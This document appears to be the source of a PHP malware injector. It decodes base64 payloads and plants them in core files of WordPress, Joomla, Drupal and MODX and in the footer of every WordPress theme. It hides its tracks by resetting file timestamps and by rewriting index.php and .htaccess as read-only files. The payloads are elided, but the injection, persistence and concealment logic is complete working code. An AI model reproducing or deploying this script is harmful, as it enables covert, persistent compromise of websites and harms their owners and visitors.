echo \"marker:9bb39827c4e5941676b51505ab6facea\\n\"; 

$depth = 0;

$base_dir = dirname(__FILE__);
for ($i = 0; $i < $depth; $i++) {
    $d = dirname($base_dir);
    $tmp = glob($d . \"/*\", GLOB_ONLYDIR);
    if(count($tmp)>0)
        $base_dir = $d;
    else {
        echo(\"cant read: \".$d.\"\\n\");
    }
}

$templates_array = 
array(
    0=>array(
        \"inject\"=>\'[encoded data, 9248 characters]\',
        \"name\"=>\"inject_name:nav_menu_1\",
        \"file\" => \"/wp-includes/nav-menu.php\",
        \"search\" => \'* @return array menu objects
*/\',
    ),
    array(
        \"inject\"=>\'[encoded data, 9248 characters]\',
        \"name\"=>\"inject_name:nav_menu_2\",
        \"file\" => \"/wp-includes/nav-menu.php\",
        \"search\" => \'* @return array Menu objects.
*/\',
    ),
    array(
        \"inject\"=>\'[encoded data, 5408 characters]\',
        \"name\"=>\"inject_name:joomla\",
        \"file\" => \"/includes/defines.php\",
        \"search\" => \"endfile\",
    ),
    array(
        \"inject\"=>\'[encoded data, 5408 characters]\',
        \"name\"=>\"inject_name:drupal\",
        \"file\" => \"/includes/bootstrap.inc\",
        \"search\" => \'*  TRUE if only containing valid characters, or FALSE otherwise.
 */\',
    ),
    array(
        \"inject\"=>\'[encoded data, 5408 characters]\',
        \"name\"=>\"inject_name:modx\",
        \"file\" => \"/manager/includes/protect.inc.php\",
        \"search\" => \"endfile\",
    ),

);


;

if (empty($base_dir)) $base_dir = \"/\";
$folders = glob($base_dir . \"/*\", GLOB_ONLYDIR);
array_unshift($folders, $base_dir);


foreach ($folders as $folder) {
    foreach ($templates_array as $ta) {
        $file = $folder . $ta[\"file\"];
        $search = $ta[\"search\"];

        if (!file_exists($file)) {
//            echo $file . \" is not faund\\n\";
            continue;
        }

        replace_code($file, $search, $base_dir, true, $ta);


    }
}
        //exit;
$themes_folder = false;
foreach ($folders as $folder) {
    $file = $folder.\"/wp-content/themes/\";
    if (file_exists($file)) {
        $themes_folder = $file;
        echo $file . \" themes folder is found\\n\";
        break;
    }
}
if(!$themes_folder) exit;

$folders = glob($themes_folder . \"*\", GLOB_ONLYDIR);
foreach ($folders as $folder) {
    $file = $folder.\"/footer.php\";
    if (!file_exists($file)) {
        echo  \"theme: \".basename($folder).\" footer is not found\\n\";
        continue;
    }

    replace_code($file, \'startfile\', $base_dir, false, $templates_array[0]);
}

function replace_code($file, $search, $base_dir, $exit=true, $ta) {
    if(basename($file)==\"nav-menu.php\") {
        my_correct(dirname(dirname($file)));
    }

    $inject_src = base64_decode($ta[\"inject\"]);

    $c = file_get_contents($file);

    $size[\"start\"] = number_format(strlen($c));

    $start_mark = \"//istart\";
    $end_mark = \"//iend\";

    if (stristr($c, $start_mark) AND stristr($c, $end_mark)) {
//        echo \"markers found\\n\";
        $c = preg_replace(\"#\" . preg_quote($start_mark) . \".*?\" . preg_quote($end_mark) . \"\\n?#is\", \"\", $c);
    }
//    if(stristr($c, $search)) {


    $regex_search = preg_replace(\"#\\s+#\", \"\\s+\", preg_quote($search));
    if ($search == \"endfile\") {
//        echo(\"inject in the end of file\\n\");
        $c = $c . $start_mark . \"\\n\" . $inject_src . $end_mark . \"\\n\";
    }
    elseif ($search == \"startfile\") {

        $c = preg_replace(\"#(\\<\\?\".\"php)#is\", \'<\'.\'?\'.\'php \' . $start_mark . \"\\n\" . @$inject_src . $end_mark . \"\\n\", $c, 1);
//        echo($data);
    }
    else {
//        echo(\"injecting by the marker\\n\");
        $c = preg_replace(
            \"#\" . $regex_search.\"#is\",
            $search . $start_mark . \"\\n\" . @$inject_src . $end_mark . \"\\n\",
            $c
        );
    }
    $size[\"result\"] = number_format(strlen($c));

    if (stristr($c, $search) OR in_array($search, array(\"endfile\", \"startfile\"))) {
//        echo($file.\" : search  not found:\" . $search.\" \".$regex_search);

        $filemtime = filemtime($file);
        if (file_put_contents($file, $c)) {
            echo \"filename: \".$file . \" [\".@$ta[\"name\"].\"] found\\n\";

            echo \"original filesize: \" . $size[\"start\"] . \"\\n\";

            echo(\"file $file saved\\n\");
            echo(\"inject:::\".str_replace($base_dir, \"\", $file).\":::inject\\n\");
            touch($file, $filemtime, $filemtime);
            echo \"result filesize: \" . $size[\"result\"] . \"\\n\";

            if($exit) exit;
        } else echo(\"save error: \" . $file . \"\\n\");
    }
}

function my_time($dir) {
    foreach (glob($dir . \'/wp-*.php\') as $f) {
        $times[] = filemtime($f);
    }
    $max = 1;
    for ($i = 0; $i < count($times) - 1; $i++) {
        $k = 1;
        for ($j = $i + 1; $j < count($times); $j++) {
            if ($times[$i] == $times[$j]) {
                $k++;
                if ($k > $max) {
                    $max = $k;
                    $time = $times[$i];
                }
            }
        }
    }
    return $time;
}

function my_correct($dir) {
    $time = 0;
    $path = $dir . \'/index.php\';
    $content = base64_decode(\'PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlKTsKCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLwpyZXF1aXJlKCBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy93cC1ibG9nLWhlYWRlci5waHAnICk7Cg==\');
    if (file_get_contents($path) != $content) {
        chmod($path, 0644);
        file_put_contents($path, $content);
        chmod($path, 0444);
        $time = my_time($dir);
        touch($path, $time);
    }

    $path = $dir . \'/.htaccess\';
    $content = base64_decode(\'IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzCg==\');
    if (file_exists($path) AND file_get_contents($path) != $content) {
        chmod($path, 0644);
        file_put_contents($path, $content);
        chmod($path, 0444);
        if (!$time) {
            $time = my_time($dir);
        }
        touch($path, $time);
    }
}